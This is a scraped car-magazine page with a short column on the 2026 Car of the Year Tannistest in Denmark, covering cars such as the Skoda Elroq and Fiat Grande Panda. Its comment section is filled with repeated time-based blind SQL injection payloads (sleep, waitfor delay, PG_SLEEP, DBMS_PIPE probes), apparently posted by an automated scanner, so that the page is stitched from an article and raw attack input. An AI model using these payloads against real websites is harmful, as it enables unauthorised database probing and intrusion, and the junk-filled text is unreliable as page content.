What do the class of 2026 have in common in the new car world? If not too downbeat a hook to draw you into this story: not a great deal of originality. But stick with me.
There were 29 cars from 23 brands at the annual Tannistest in northern Denmark, a test event to help the 59 Car of the Year (COTY) jurors from 23 countries whittle down a longlist of 35 eligible vehicles (some of them weren't represented at the event) to a final shortlist of seven, from which the 2026 COTY will be announced in January.
And what the Tannistest field showcased is an industry wrestling with parallel investments in EVs and combustion-engined vehicles and no wiggle room to take a risk on something truly new.

That's not to say the cars weren't any good - quite the opposite. Many are refined, quiet, comfortable and pleasing to drive, even more with good interiors and impressive technology. Perhaps the best example of this quiet competence is the Skoda Elroq: it must be the 100th four-and-a-half-metre-long electric family crossover launched this decade but it's the very best example yet and worthy of its place on the 2026 COTY shortlist.
And 'not a great deal of originality' means there was still some on display. The Fiat Grande Panda is about as conventional as small cars get underneath but it is just so fun and funky and has so much charm on the surface and to drive. It was the first eligible car for the 2026 COTY award I tested back in January and it still feels fresh now despite the familiarity.
Last year, the Grande Panda's platform twin, the Citroën C3, felt quite charming itself on first acquaintance earlier in 2024, only for it to actually feel quite old when it was lined up next to its peers at Tannis. It shows how right Fiat has got it with the Grande Panda, another welcome addition to the shortlist.










Join the debate
Add your comment
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-1 waitfor delay '0:0:15' --
nigWeOhi'; waitfor delay '0:0:15' --
W7nRxigQ' OR 16=(SELECT 16 FROM PG_SLEEP(15))--
3vsyz4Ic') OR 736=(SELECT 736 FROM PG_SLEEP(15))--
wHndYoha')) OR 465=(SELECT 465 FROM PG_SLEEP(15))--
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1 waitfor delay '0:0:15' --
9sYxzLqD'; waitfor delay '0:0:15' --
2DFQZOkc' OR 938=(SELECT 938 FROM PG_SLEEP(15))--
9xQrLj6z') OR 244=(SELECT 244 FROM PG_SLEEP(15))--
fepYS3n1')) OR 640=(SELECT 640 FROM PG_SLEEP(15))--
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
@@bviGN
(select 198766*667891)
(select 198766*667891 from DUAL)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-1 waitfor delay '0:0:15' --
czRRNQHr'; waitfor delay '0:0:15' --
Zhs67J1r' OR 658=(SELECT 658 FROM PG_SLEEP(15))--
yglXPnVU') OR 293=(SELECT 293 FROM PG_SLEEP(15))--
bScX8BrG')) OR 159=(SELECT 159 FROM PG_SLEEP(15))--
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-1 waitfor delay '0:0:15' --
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
Fk8Mex3m'; waitfor delay '0:0:15' --
-1 waitfor delay '0:0:15' --
J8HjAj1J' OR 979=(SELECT 979 FROM PG_SLEEP(15))--
-1 waitfor delay '0:0:15' --
mj1dKnHY'; waitfor delay '0:0:15' --
hIulz8ke') OR 488=(SELECT 488 FROM PG_SLEEP(15))--
cRUDDI8z'; waitfor delay '0:0:15' --
YiAX2fIS' OR 815=(SELECT 815 FROM PG_SLEEP(15))--
XIYu158F')) OR 182=(SELECT 182 FROM PG_SLEEP(15))--
XhlSPxNE' OR 126=(SELECT 126 FROM PG_SLEEP(15))--
TR4XJCUQ') OR 73=(SELECT 73 FROM PG_SLEEP(15))--
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
Sfadw3Al') OR 951=(SELECT 951 FROM PG_SLEEP(15))--
oTLSB1k5')) OR 920=(SELECT 920 FROM PG_SLEEP(15))--
xehTdle1')) OR 812=(SELECT 812 FROM PG_SLEEP(15))--
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1 waitfor delay '0:0:15' --
WP0QddCR'; waitfor delay '0:0:15' --
dtw1Y6Dn' OR 211=(SELECT 211 FROM PG_SLEEP(15))--
TfO5blwK') OR 419=(SELECT 419 FROM PG_SLEEP(15))--
mIbEH24t')) OR 544=(SELECT 544 FROM PG_SLEEP(15))--
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
@@wcH72
(select 198766*667891)
(select 198766*667891 from DUAL)
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(6),0))XOR"Z
0"XOR(if(now()=sysdate(),sleep(3),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1 waitfor delay '0:0:15' --
g9z4imvP'; waitfor delay '0:0:15' --
anzBCDgI' OR 764=(SELECT 764 FROM PG_SLEEP(15))--
VNxKeOhL') OR 647=(SELECT 647 FROM PG_SLEEP(15))--
51W4m6UC')) OR 226=(SELECT 226 FROM PG_SLEEP(15))--
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
@@WABRS
(select 198766*667891)
(select 198766*667891 from DUAL)
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z
if(now()=sysdate(),sleep(11.342),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1 waitfor delay '0:0:15' --
-1 waitfor delay '0:0:15' --
2SSjhSCx'; waitfor delay '0:0:15' --
00N9hzbk'; waitfor delay '0:0:15' --
hh7H2uAM' OR 54=(SELECT 54 FROM PG_SLEEP(15))--
eJnrEwkY' OR 56=(SELECT 56 FROM PG_SLEEP(15))--
XWXthfrl') OR 200=(SELECT 200 FROM PG_SLEEP(15))--
eQ8G7hPC') OR 671=(SELECT 671 FROM PG_SLEEP(15))--
89MV8UgV')) OR 355=(SELECT 355 FROM PG_SLEEP(15))--
Gq3dyX6s')) OR 575=(SELECT 575 FROM PG_SLEEP(15))--
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
@@UJuOO
(select 198766*667891)
(select 198766*667891 from DUAL)
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
@@eNuSg
(select 198766*667891)
(select 198766*667891 from DUAL)